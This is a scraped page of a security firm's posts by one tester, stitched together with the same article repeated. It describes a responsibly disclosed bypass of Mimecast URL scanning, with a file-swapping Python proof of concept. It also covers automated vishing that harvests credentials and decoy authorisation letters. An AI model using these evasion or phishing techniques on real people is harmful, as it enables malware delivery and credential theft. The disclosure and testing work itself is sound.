Patrick Sayler
- happy.xls - A nearly-empty spreadsheet which only contains text
- sad.xls - An Excel file containing a basic malicious macro
Each will be served by a basic web server powered by the Python http.server module.
- The end-user receives an email containing links to retrieve your files.
- Clicking one of the links will result in the HTTP requests below. These are issued directly from Mimecast and are the “inspection” part of “URL Protection.” Take note of the timestamps and unique header values, as we’ll revisit these later.
Request 1 (Mimecast)
GET /happy.xls HTTP/1.1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="97", "Chromium";v="97" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: january132022.com Cache-Control: max-age=259200 Connection: keep-alive
Request 2 (Mimecast)
GET /happy.xls HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate Accept-Language: en-gb,en;q=0.5 x-client-ip: 163.172.240.97 x-real-ip: 163.172.240.97 x-client: 163.172.240.97 Host: january132022.com Cache-Control: max-age=259200 Connection: close
- If the file is deemed safe, Mimecast will present the Download button. Clicking this will result in a final request to finally retrieve the file. This request will be issued from your client, not from Mimecast.
Request 3 (End User)
GET /happy.xls HTTP/1.1 Host: january132022.com Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
- However, if the file contents are found to be malicious, Mimecast Targeted Threat Protection will classify the file as harmful and prevent the user from accessing it.
The Problems
Did anything in that process catch your eye? There are four core concerns I had with this process. Mimecast’s corresponding remediation steps for each of these problems can be found at the end of this article.
1. File content is not served by Mimecast
After clicking the Download button, the end user will retrieve the file directly from the remote link.
2. A Predictable Pattern
HTTP requests generated by Mimecast file inspection follow a predictable pattern. In the workflow above, Requests 1 and 2 will always be issued in that exact order, in the same two-second interval, and with the shown header values.
This means that an attacker can accurately determine when a file has been inspected by TTP. By monitoring for the unique header values in Request 2 (i.e., x-client-ip, x-real-ip, x-client), the attacker can modify the subsequent response to Request 3 to return an entirely different set of file contents. This would allow an attacker to present a clean file to Mimecast, while serving malicious content to the end user.
These two items alone could compromise the integrity of inspection results. Though there’s a much simpler way to achieve the same result.
3. Results are Stored by Filename
That’s right! URLs are only inspected during their first visit by that user. If a URL is previously designated as safe, the content and classification will remain cached for a length of time. An attacker can bypass protections by simply renaming a malicious file to match the filename of a previously categorized safe file. This result remained for up to four hours in my testing; however, Mimecast has shared with me that they will look to address this via risk-based caching.
4. Results are Shared
While you can’t see it in the above screenshots, I found that links rewritten by TTP do not appear to be completely unique. Inspections, and their resulting categories, are seemingly persistent across identical messages sent from two different source addresses. An attacker could send a benign message to the target from Address A, then re-send the same message from Address B after the file has been categorized.
The Problems Combined
Let’s put everything together. To demonstrate the attack workflow, the examples below will pick up immediately after I attempted to click the Blocked file.
- On the remote web server, rename the malicious file to match the filename of the safe file. Review the checksum to confirm that the file matches.
# sha256sum happy.xls 87762ea8f248335b92bbadf71396305d2090537401d51d6a55df6754e74c2e25 happy.xls # sha256sum sad.xls 131f2276d2003b22d51a8817817edd5ab2dcbb9b0b487f5149717e034d2b67e7 sad.xls # cp happy.xls backup_happy.xls # cp sad.xls happy.xls # sha256sum sad.xls 131f2276d2003b22d51a8817817edd5ab2dcbb9b0b487f5149717e034d2b67e7 sad.xls # sha256sum happy.xls 131f2276d2003b22d51a8817817edd5ab2dcbb9b0b487f5149717e034d2b67e7 happy.xls # ls backup_happy.xls happy.xls nocachebasicweb.py sad.xls
Renaming the malicious file to replace the safe file
- Return to the email and click the link to the safe file, which now hosts the contents of the malicious file. Review the web server logs and observe that Mimecast does not attempt to inspect the file a second time, resulting in the malicious file being classified as safe. Downloading and reviewing the file confirm that the malicious content was successfully downloaded.
TTPs against TTP
While you can certainly follow the “steps” outlined in the TL;DR, I think we can make this better.
Proof-of-Concept 1: Automatic File Renaming
The Python script below will start a web server on the host and automatically rename a malicious file to an inspected, safe filename. Note that the below code is a basic example and will only function a single time. It is not clean, but it certainly does the job.
Code:
# NoCacheHTTPServer.py
# Made from https://stackoverflow.com/questions/42341039/remove-cache-in-a-python-http-server
import os
import http.server
PORT = 80
count = 1
class NoCacheHTTPRequestHandler(
http.server.SimpleHTTPRequestHandler
):
def send_response_only(self, code, message=None):
resp = super().send_response_only(code, message)
self.send_header('Cache-Control', 'no-store, must-revalidate')
self.send_header('Expires', '0')
global count
count = count + 1
if count == 2:
print('[*] MIMECAST SCAN 1')
elif count == 3:
print('[*] MIMECAST SCAN 2')
print('[**] MIMECAST SCAN COMPLETE. REPLACING FILE.')
os.rename('thisfileissafe.xls', 'thisfileissafe.xls.bak')
os.rename('virus.xls', 'thisfileissafe.xls')
if __name__ == '__main__':
http.server.test(
HandlerClass=NoCacheHTTPRequestHandler,
port=PORT
)
Proof-of-Concept 2: Automatic TTP Evasion
This one will start a web server on the host and serve safe content by default. It reviews each incoming request for the unique HTTP request headers provided by Mimecast URL Protection (x-client, x-client-ip, and x-real-ip). If these headers are detected, it will then automatically alter the response to the subsequent request and serve malicious content, then reset to safe content afterwards.
This process will repeat each time the TTP headers are detected. This allows the attacker to evade future detections while continuing to deliver malicious content to additional victims. And just for good measure, the victim IP can be hardcoded to always serve the payload when they visit.
The code below can be found on GitHub.
Code: https://github.com/psayler/MrMimecast
Example:
Lingering Questions
This was discovered during an active engagement, so I was not in a position to review every single edge case. These are questions that I asked myself but were unable to answer.
- Are rewritten URLs shared across email accounts within the organization?
- Ex: attacker@example.com sends an email to alice@netspi.com and
bob@netspi.com. If Bob clicks the link and causes the URL to be categorized, will that category carry over to Alice’s link as well?
- Ex: attacker@example.com sends an email to alice@netspi.com and
- Are rewritten URLs shared across accounts in separate Mimecast tenants?
- Ex: attacker@example.com sends an email to patrick@netspi.com and
steve@competitor.com. If Patrick clicks the link and causes the URL to be categorized, will that carry over to Steve’s link as well? - If results are shared, an attacker could potentially pre-inspect and categorize files by sending messages to their own Mimecast subscription.
- Ex: attacker@example.com sends an email to patrick@netspi.com and
- How long is the scan result cached? My estimates were around 4 hours. This makes attacks somewhat time-sensitive, but still leaves a large window of opportunity.
Recommendation to Mimecast
Users should be unable to retrieve an inspected file directly from the remote host. Instead, TTP should act as an intermediary and temporarily store a copy of the inspected file to serve to the user. This would address all of the demonstrated evasion methods. Future download attempts by the user should be served from TTP - either the previously cached version or a newly inspected copy.
Disclosure, Feedback, and Timeline
Mimecast has indicated that they will be implementing these suggestions and provided the following comments:
- File content is not served by Mimecast
Mimecast has committed to implementing a fix. - A Predictable Pattern
This issue has been addressed. - Results are Stored by Filename
Addressed via risk-based caching on a continuous basis. - Results are Shared
Addressed via risk-based caching on a continuous basis.
Unfortunately, without an active Mimecast subscription, I have no way to confirm if this is accurate.
Below is a timeline of the disclosure process:
- 1/23/2022
- Initial disclosure document sent to disclosure@mimecast.com
- 1/23/2022 - 1/31/2022
- Revisiting the issue during an active engagement and notice that the “x-client” headers were no longer present
- Follow-up message sent to Mimecast to confirm if any changes have already been made
- 2/4/2022
- Mimecast acknowledges the initial disclosure
- 3/7/2022
- Mimecast confirms they can reproduce the issue
- Mimecast states that their engineers are working on a fix, based on the provided remediation guidance
- 3/8/2022 - 3/18/2022
- Added to acknowledgements page (https://www.mimecast.com/responsible-disclosure/)
- 5/11/2022
- Mimecast indicates that the fix is intended to be implemented by the end of August 2022
- 8/30/2022
- Mimecast confirms August 2022 remediation timeline
- 9/1/2022
- Draft blog post shared with Mimecast for review
- 9/16/2022 - 10/18/2022
- Blog post feedback received from Mimecast
- Content amended to include the above
On September 28, NetSPI's Patrick Sayler was featured in the Lifewire article called Phishing Is More Common (and More Dangerous) Than Ever—Here's How to Stay Safe. Read the preview below or view it online.
+ + +
New figures show that fraudsters are increasingly using phishing and similar methods when gaining access to user information and accounts, but there are a number of ways people can help protect themselves.
Data collected by the Office for National Statistics (ONS) in England and Wales show that instances of computer misuse and fraud have increased in recent years, particularly since the onset of the COVID-19 pandemic and recent cost of living increases. But while bad actors are beginning to turn to phishing as one of their main methods of committing fraud, experts say that doesn't mean people can't take steps to minimize the chances of falling for those attempts.
"Overall, individuals need to make security part of the fabric of their everyday routines, Jamie Moles, Senior Technical Marketing Manager at security firm ExtraHop, told Lifewire via email. "Everyone holds a level of responsibility in combating phishing attacks, and positive reinforcement, continuous education, and solid feedback loops are all key to making it stick."
Fighting Back
Experts like Moles believe that people can help reduce the chances of becoming a victim of phishing by taking more care when scrutinizing email messages that they receive. "Check the sender's email address," he said, noting that "this is often an easy red flag that users miss when they're in a hurry, or it looks like the note came from their boss or CEO." Phishing attempts are often made to look like they came from an authority figure, making potential victims less likely to question a request for information, for example.
Any call initiated by a third party should initially be treated as suspicious because they might not be who they say they are. "Situations involving [calls and messages] can be independently verified through the relevant company's web page," Patrick Sayler, principal security consultant at NetSPI, told Lifewire via email. If in doubt, call them back on a number known to be legitimate and not necessarily the one they called you from.
You can read the full article at Lifewire!
[post_title] => Lifewire: Phishing Is More Common (and More Dangerous) Than Ever—Here's How to Stay Safe [post_excerpt] => NetSPI's Patrick Sayler was featured in the Lifewire article called Phishing Is More Common (and More Dangerous) Than Ever—Here's How to Stay Safe. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => lifewire-phishing-how-to-stay-safe [to_ping] => [pinged] => [post_modified] => 2023-01-23 15:10:12 [post_modified_gmt] => 2023-01-23 21:10:12 [post_content_filtered] => [post_parent] => 0 [guid] => https://www.netspi.com/?p=28505 [menu_order] => 207 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [2] => WP_Post Object ( [ID] => 20360 [post_author] => 53 [post_date] => 2020-12-09 07:00:47 [post_date_gmt] => 2020-12-09 07:00:47 [post_content] =>Overview
While modern technical controls and protections can thwart basic phishing attempts, phone communication remains a lucrative avenue for would-be attackers. This is a typical route used to gain a foothold into an environment via an unsuspecting employee. However, this time-consuming manual process makes documenting and using your social engineering results difficult.
Fortunately, existing interactive voice response (IVR) technology can help solve this problem. While these systems are typically used to assist people, we could also leverage them to gain entry to systems.
The abundance of cloud-based services makes this simple to accomplish and even easier to expand upon with your own custom scenarios, all while capturing respondent information. This presentation from NetSPI Director of Social Engineering Patrick Sayler covers how to take existing, off-the-shelf tools and configure them to build your own social engineering “robot.”
Key highlights:
- 0:40 – Background on phone-based social engineering
- 4:00 – Identifying effective social engineering solutions
- 9:45 – Attack scenarios
- 20:36 – Social engineering demo
Background on Phone-Based Social Engineering
Phone-based social engineering, often known as vishing, is a social engineering technique in which a threat actor calls the victim and tricks or entices them to share sensitive information, click on a link, or take another action that may expose confidential data. A typical phone-based social engineering engagement is fairly straightforward.
Some steps in engagements typically include:
Phone-based social engineering techniques are effective, fun, and unique – because no two tests are alike. However, this approach does have some drawbacks, including a lot of time and effort, downtime stress in between calls, especially when targets hang up right away or don’t engage.
To make the process better and save time that would otherwise be spent talking directly to targets, you can consider recording your own voice and playing the audio back over the phone, but this approach can take a lot of time and work. Another option is text-to-speech (TTS), in which you leverage a website with a robotic, but legitimate, sounding voice to record key phrases, such as “You have one new message,” “Please share your username,” and “Share your password.” This approach has shown success with gaining entry into a customer’s internal network environment.
Identifying Effective Social Engineering Techniques
A more effective phone-based social engineering technique requires the following criteria:
- Easy setup and maintenance
- Scalable for multiple users and calls
- Centralized recording, tracking, and analytics
If this sounds familiar, it’s because the list above describes a call center, and call center software has existed for several years. One such platform is Amazon Connect, which includes all the criteria listed.
Using an affordable solution like Amazon Connect, you can do the following:
- Inbound and outbound phone calls
- Audio recording
- Call routing/triaging
- Customizable prompts and triggers
- Integrate with the Amazon Web Services (AWS) ecosystem, enabling additional capabilities, including:
- Amazon Transcribe with speech recognition and voice-to-text conversion
- AWS Lambda to run code, process information received from recordings, and flag specific passwords, among other features
- Amazon Lex conversation bot features
By chaining these tools together, this enables you to programmatically place a phone call with Amazon Connect, request and receive information from targets with Lex the chatbot, and process the requested data and do something with it by using Amazon Transcribe and AWS Lambda.
Attack Scenarios
A few different phone-based social engineering attack scenarios can really take advantage of this automated system using a solution like Amazon Connect.
Here’s an overview of potential attack scenarios:
- SMS phishing
- This is similar to standard email phishing, except it’s over a text message, with the same concepts and methodology, including mass delivery and broad reach
- Steps include:
- AWS simple notification service (SNS) sends a text message
- Victim calls the associated number and is prompted to share credentials
- Lex recognizes the data and transcribes it for Lambda
- Lambda takes the data and sends a notification to the tester
- Email phishing
- Standard email phishing, but with a phone number rather than a link in the message
- Emails often also include a link and the phone call is a secondary option
- Outbound call to target
- Amazon Connect provides an API to place outbound phone calls
- Outbound calls can be placed into a workflow that follows an automated system, with prompts such as, “Please say your name,” and “Confirm your username and password”
- Lex then recognizes the data and transcribes it for Lambda
- Lambda then takes the credentials and sends them to the tester
- Distraction call (another form of an outbound call to the target)
- Problem: When working on a phone-based social engineering test, sometimes the tester can’t find the direct phone number for an employee and finds a dial-by-name directory, but can’t reach it directly
- Solution: The tester makes an outbound call to the operator, once the operator answers, the line is busy, then the tester places a second call and is routed straight to the directly to reach individual employees
NetSPI’s Social Engineering Capabilities
Now that you have an understanding of phone-based social engineering techniques and solutions, it’s critical to make sure your employees are prepared to recognize potential attacks and avoid sharing sensitive information. NetSPI’s social engineering testing helps validate and improve your procedural security controls and employee training.
Through our phone social engineering (vishing) solution, the NetSPI team makes several calls to your IT support, customer support and other employees, posing as a customer or colleagues, in an attempt to obtain sensitive information or functionality without verifying the identity of the caller. This technique can help your team verify the use of existing identification validation procedures.
Learn more about how to improve your network security using NetSPI’s social engineering testing and reach out to our team to get started.
[wonderplugin_video iframe="https://youtu.be/wJnE7tK5Igk" lightbox=0 lightboxsize=1 lightboxwidth=1200 lightboxheight=674.999999999999916 autoopen=0 autoopendelay=0 autoclose=0 lightboxtitle="" lightboxgroup="" lightboxshownavigation=0 showimage="" lightboxoptions="" videowidth=1200 videoheight=674.999999999999916 keepaspectratio=1 autoplay=0 loop=0 videocss="position:relative;display:block;background-color:#000;overflow:hidden;max-width:100%;margin:0 auto;" playbutton="https://www.netspi.com/wp-content/plugins/wonderplugin-video-embed/engine/playvideo-64-64-0.png"]
[post_title] => Automated Social Engineering for the Antisocial Engineer [post_excerpt] => NetSPI's Patrick Sayler originally gave this presentation at BSides Portland, but don't miss this extended cut version! [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => automated-social-engineering-for-the-antisocial-engineer [to_ping] => [pinged] => [post_modified] => 2023-11-02 10:56:16 [post_modified_gmt] => 2023-11-02 15:56:16 [post_content_filtered] => [post_parent] => 0 [guid] => https://www.netspi.com/?post_type=webinars&p=20360 [menu_order] => 65 [post_type] => webinars [post_mime_type] => [comment_count] => 0 [filter] => raw ) [3] => WP_Post Object ( [ID] => 8406 [post_author] => 40 [post_date] => 2018-02-27 07:00:23 [post_date_gmt] => 2018-02-27 07:00:23 [post_content] => Failure is a fact of life and it’s doubly true when it comes to security. On-site social engineering is a unique beast and it carries its own issues when it comes to failure. While it’s easy enough to modify your payload to bypass a WAF or just hang-up the phone when the phish isn’t biting, you don’t have the luxury of just disappearing when confronted in person (even if you’re wearing camouflage). You are forced to literally come face to face with an obstacle and try your darndest to figure your way out of it. You’re probably going to be caught eventually. We even make it a specific goal during every engagement. Unfortunately, night vision goggles do not give you the foresight to see when it will happen, so you’ll need to come prepared with a get-out-of-jail letter.Building a Letter
The concept of a get-out-of-jail letter itself is simple: it’s a document from the client proving that you are allowed to be sneaky. Essentially, it is your permission slip to be on-site. It should contain all of the necessary information to verify who you are working with and what you are doing. Document any specific addresses or buildings that you will attempt to access, as well as detailed contact information for your client point of contact. I recommend that you include at least two different contacts and/or multiple methods to reach your primary contact. Ideally, there should be one other person on-site who is aware of your activities. Keep in mind that it is completely up to the client who they notify and how much information they share regarding the project - just make sure that someone can vouch for you. You don’t want to be stuck in an awkward situation where a security guard is unable to reach the only person who knows just exactly what is going on. I've prepared a sample letter that anyone is free to use.
It's a fairly generic document that has worked well for both legitimate and decoy letters.
Trust, But Verify
Yes that heading is a cliché, but there’s a reason it gets repeated ad nauseam. It is important to confirm the accuracy of any document - including one that says a complete stranger should have all-encompassing privileges to break into a building. There is nothing stopping an attacker from simply fabricating the entire scenario. That's why I've started to carry a second letter - to see if someone will validate its contents or just take it at face value. Preparing a decoy letter is no different than creating a legitimate one - just swap the contact information with something a teammate can access. Google Voice is a free, popular option. Simply choose the number you wish to use and configure it to forward to a co-worker's phone. The main caveat with Google Voice is that you can only own one number at a time. This restricts you to a certain geographic region since unfamiliar area codes are still one of the first things that catch someone's attention. Another useful service is Flowroute. Flowroute allows you to purchase several individual numbers across multiple area codes. You can then configure inbound calls to forward to the numbers of your choice. This flexibility allows you to setup both a desk phone and mobile number for your decoy contact. If you want to establish an extra ounce of credibility, record the target company's public-facing phone greeting, mix it with a standard voice message prompt, and set that as the "desk phone" voicemail. Then when you get caught and present the decoy letter, just have the person call the desk phone first.Mandatory War Story
You can't just write an article about "on-site social engineering" without an accompanying anecdotal series of events. I was able to utilize this "decoy letter" with great success while on an engagement last year. To set the stage, this customer was split across two separate buildings. The primary building was several floors tall with keyfob entry into each floor after exiting the elevator. This building occupied the majority of the business employees. The secondary building was just across the parking lot and held IT staff. I had already obtained access to one of the restricted floors in the first building and had been on-site for a little over an hour under the guise of an IT intern that was tasked with “upgrading monitor firmware”. At this point I was trying to establish persistent remote access by compromising a workstation and creating a reverse shell back to our external testing machines. Par for the course for these types of engagements. My USB Rubber Ducky was already configured with a PowerShell payload and all I needed to do was plug it into an unlocked workstation, wait a few seconds, and just walk away. I eventually caught someone’s attention and they wanted to escort me over to my manager’s office to confirm if this was legitimate work. Luckily, the client contact I was working with sits in the second building. Walking out the office, across the parking lot, and towards this other building gave me plenty of time to (unsuccessfully) talk my way out of the situation. As we approached the doorway, I finally came clean with the employee and handed them my fake letter. They read it over, made a comment along the lines of “hah, that’s good”, and we continued onward into the office. That wasn’t really the reaction I was expecting at all and I practically begged - “Just call the number on the paper, that’s a direct line for this specific situation. He’ll answer it I promise!” This was my first time getting caught so quickly so I was pretty disappointed in myself. We made our way through the building towards the contact’s office. I had accepted my fate. Getting caught isn’t the end of the world and is absolutely accounted for when preparing for the engagement. We’ll normally take a few minutes to go over the details of what happened, what lead up to the catch, and then document it in the final report. From there, we’ll ask to be released back into the wild to continue the test. To my surprise, the contact had stepped out of their office at just the right time. Without anyone to talk to, I was escorted back to the main building and my captor agreed to call the number listed in the letter. This number belonged to a second tester located back at our headquarters. It was up to Karl to get me out of this mess. Karl answered the phone. (I'm fairly certain this call ended up interrupting him during a meeting - sorry about that.) I was only able to overhear half of the conversation - “I found Patrick in the office and he says he’s working with you? ... Okay … okay. So should I just let him go or … okay.” And sure enough, I was free to go.Gotta Catch Em' All
A core part of our onsite testing methodology involves getting caught. Typically there are protocols in place that an employee is meant to follow. Our goals are to:- Determine whether or not those protocols are sufficient.
- Ensure that employees are actually following them.
Mimecast Targeted Threat Protection (TTP) is a suite of email security tools designed to protect end users from phishing attacks. The URL Protection feature of this subscription can inspect links embedded in emails for malicious content. If a file is deemed safe, Mimecast will allow the user to retrieve it from the linked site. Files categorized as malicious are blocked and cannot be downloaded.
Or so I thought.
TL;DR
root@webserver:/var/www# ls malware.xls not-malware.xls root@webserver:/var/www# mv malware.xls not-malware.xls
During a hybrid breach and attack simulation and social engineering penetration test, I discovered a way to bypass Mimecast’s URL Protection and File Inspection features described above.
Though, in the interest of transparency, I’m not sure I can claim that I discovered this issue. I would be surprised if this wasn’t already a known trick. Nevertheless, it was acknowledged by Mimecast and landed me a spot on their Security Researcher Wall of Fame.
This is a great reminder of the importance of defense in depth strategies. In this instance, I was able to bypass, or evade, the email defense in place. When frontline security controls are bypassed, organizations must have back up, layered controls and policies in place to stop or slow down adversaries and prevent further incident escalation.
I worked closely with Mimecast to responsibly disclose and remediate this issue. Let’s take a deeper look at the discovery and disclosure process.
Workflow
Here’s what happens behind the scenes when an email containing links is sent to an inbox protected by Mimecast.
We will use 2 different files in these examples:
- happy.xls - A nearly-empty spreadsheet which only contains text
- sad.xls - An Excel file containing a basic malicious macro
Each will be served by a basic web server powered by the Python http.server module.
- The end-user receives an email containing links to retrieve your files.
- Clicking one of the links will result in the HTTP requests below. These are issued directly from Mimecast and are the “inspection” part of “URL Protection.” Take note of the timestamps and unique header values, as we’ll revisit these later.
Request 1 (Mimecast)
GET /happy.xls HTTP/1.1 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="97", "Chromium";v="97" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: january132022.com Cache-Control: max-age=259200 Connection: keep-alive
Request 2 (Mimecast)
GET /happy.xls HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate Accept-Language: en-gb,en;q=0.5 x-client-ip: 163.172.240.97 x-real-ip: 163.172.240.97 x-client: 163.172.240.97 Host: january132022.com Cache-Control: max-age=259200 Connection: close
- If the file is deemed safe, Mimecast will present the Download button. Clicking this will result in a final request to finally retrieve the file. This request will be issued from your client, not from Mimecast.
Request 3 (End User)
GET /happy.xls HTTP/1.1 Host: january132022.com Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
- However, if the file contents are found to be malicious, Mimecast Targeted Threat Protection will classify the file as harmful and prevent the user from accessing it.
The Problems
Did anything in that process catch your eye? There are four core concerns I had with this process. Mimecast’s corresponding remediation steps for each of these problems can be found at the end of this article.
1. File content is not served by Mimecast
After clicking the Download button, the end user will retrieve the file directly from the remote link.
2. A Predictable Pattern
HTTP requests generated by Mimecast file inspection follow a predictable pattern. In the workflow above, Requests 1 and 2 will always be issued in that exact order, in the same two-second interval, and with the shown header values.
This means that an attacker can accurately determine when a file has been inspected by TTP. By monitoring for the unique header values in Request 2 (i.e., x-client-ip, x-real-ip, x-client), the attacker can modify the subsequent response to Request 3 to return an entirely different set of file contents. This would allow an attacker to present a clean file to Mimecast, while serving malicious content to the end user.
These two items alone could compromise the integrity of inspection results. Though there’s a much simpler way to achieve the same result.
3. Results are Stored by Filename
That’s right! URLs are only inspected during their first visit by that user. If a URL is previously designated as safe, the content and classification will remain cached for a length of time. An attacker can bypass protections by simply renaming a malicious file to match the filename of a previously categorized safe file. This result remained for up to four hours in my testing; however, Mimecast has shared with me that they will look to address this via risk-based caching.
4. Results are Shared
While you can’t see it in the above screenshots, I found that links rewritten by TTP do not appear to be completely unique. Inspections, and their resulting categories, are seemingly persistent across identical messages sent from two different source addresses. An attacker could send a benign message to the target from Address A, then re-send the same message from Address B after the file has been categorized.
The Problems Combined
Let’s put everything together. To demonstrate the attack workflow, the examples below will pick up immediately after I attempted to click the Blocked file.
- On the remote web server, rename the malicious file to match the filename of the safe file. Review the checksum to confirm that the file matches.
# sha256sum happy.xls 87762ea8f248335b92bbadf71396305d2090537401d51d6a55df6754e74c2e25 happy.xls # sha256sum sad.xls 131f2276d2003b22d51a8817817edd5ab2dcbb9b0b487f5149717e034d2b67e7 sad.xls # cp happy.xls backup_happy.xls # cp sad.xls happy.xls # sha256sum sad.xls 131f2276d2003b22d51a8817817edd5ab2dcbb9b0b487f5149717e034d2b67e7 sad.xls # sha256sum happy.xls 131f2276d2003b22d51a8817817edd5ab2dcbb9b0b487f5149717e034d2b67e7 happy.xls # ls backup_happy.xls happy.xls nocachebasicweb.py sad.xls
Renaming the malicious file to replace the safe file
- Return to the email and click the link to the safe file, which now hosts the contents of the malicious file. Review the web server logs and observe that Mimecast does not attempt to inspect the file a second time, resulting in the malicious file being classified as safe. Downloading and reviewing the file confirm that the malicious content was successfully downloaded.
TTPs against TTP
While you can certainly follow the “steps” outlined in the TL;DR, I think we can make this better.
Proof-of-Concept 1: Automatic File Renaming
The Python script below will start a web server on the host and automatically rename a malicious file to an inspected, safe filename. Note that the below code is a basic example and will only function a single time. It is not clean, but it certainly does the job.
Code:
# NoCacheHTTPServer.py
# Made from https://stackoverflow.com/questions/42341039/remove-cache-in-a-python-http-server
import os
import http.server
PORT = 80
count = 1
class NoCacheHTTPRequestHandler(
http.server.SimpleHTTPRequestHandler
):
def send_response_only(self, code, message=None):
resp = super().send_response_only(code, message)
self.send_header('Cache-Control', 'no-store, must-revalidate')
self.send_header('Expires', '0')
global count
count = count + 1
if count == 2:
print('[*] MIMECAST SCAN 1')
elif count == 3:
print('[*] MIMECAST SCAN 2')
print('[**] MIMECAST SCAN COMPLETE. REPLACING FILE.')
os.rename('thisfileissafe.xls', 'thisfileissafe.xls.bak')
os.rename('virus.xls', 'thisfileissafe.xls')
if __name__ == '__main__':
http.server.test(
HandlerClass=NoCacheHTTPRequestHandler,
port=PORT
)
Proof-of-Concept 2: Automatic TTP Evasion
This one will start a web server on the host and serve safe content by default. It reviews each incoming request for the unique HTTP request headers provided by Mimecast URL Protection (x-client, x-client-ip, and x-real-ip). If these headers are detected, it will then automatically alter the response to the subsequent request and serve malicious content, then reset to safe content afterwards.
This process will repeat each time the TTP headers are detected. This allows the attacker to evade future detections while continuing to deliver malicious content to additional victims. And just for good measure, the victim IP can be hardcoded to always serve the payload when they visit.
The code below can be found on GitHub.
Code: https://github.com/psayler/MrMimecast
Example:
Lingering Questions
This was discovered during an active engagement, so I was not in a position to review every single edge case. These are questions that I asked myself but were unable to answer.
- Are rewritten URLs shared across email accounts within the organization?
- Ex: attacker@example.com sends an email to alice@netspi.com and
bob@netspi.com. If Bob clicks the link and causes the URL to be categorized, will that category carry over to Alice’s link as well?
- Ex: attacker@example.com sends an email to alice@netspi.com and
- Are rewritten URLs shared across accounts in separate Mimecast tenants?
- Ex: attacker@example.com sends an email to patrick@netspi.com and
steve@competitor.com. If Patrick clicks the link and causes the URL to be categorized, will that carry over to Steve’s link as well? - If results are shared, an attacker could potentially pre-inspect and categorize files by sending messages to their own Mimecast subscription.
- Ex: attacker@example.com sends an email to patrick@netspi.com and
- How long is the scan result cached? My estimates were around 4 hours. This makes attacks somewhat time-sensitive, but still leaves a large window of opportunity.
Recommendation to Mimecast
Users should be unable to retrieve an inspected file directly from the remote host. Instead, TTP should act as an intermediary and temporarily store a copy of the inspected file to serve to the user. This would address all of the demonstrated evasion methods. Future download attempts by the user should be served from TTP - either the previously cached version or a newly inspected copy.
Disclosure, Feedback, and Timeline
Mimecast has indicated that they will be implementing these suggestions and provided the following comments:
- File content is not served by Mimecast
Mimecast has committed to implementing a fix. - A Predictable Pattern
This issue has been addressed. - Results are Stored by Filename
Addressed via risk-based caching on a continuous basis. - Results are Shared
Addressed via risk-based caching on a continuous basis.
Unfortunately, without an active Mimecast subscription, I have no way to confirm if this is accurate.
Below is a timeline of the disclosure process:
- 1/23/2022
- Initial disclosure document sent to disclosure@mimecast.com
- 1/23/2022 - 1/31/2022
- Revisiting the issue during an active engagement and notice that the “x-client” headers were no longer present
- Follow-up message sent to Mimecast to confirm if any changes have already been made
- 2/4/2022
- Mimecast acknowledges the initial disclosure
- 3/7/2022
- Mimecast confirms they can reproduce the issue
- Mimecast states that their engineers are working on a fix, based on the provided remediation guidance
- 3/8/2022 - 3/18/2022
- Added to acknowledgements page (https://www.mimecast.com/responsible-disclosure/)
- 5/11/2022
- Mimecast indicates that the fix is intended to be implemented by the end of August 2022
- 8/30/2022
- Mimecast confirms August 2022 remediation timeline
- 9/1/2022
- Draft blog post shared with Mimecast for review
- 9/16/2022 - 10/18/2022
- Blog post feedback received from Mimecast
- Content amended to include the above
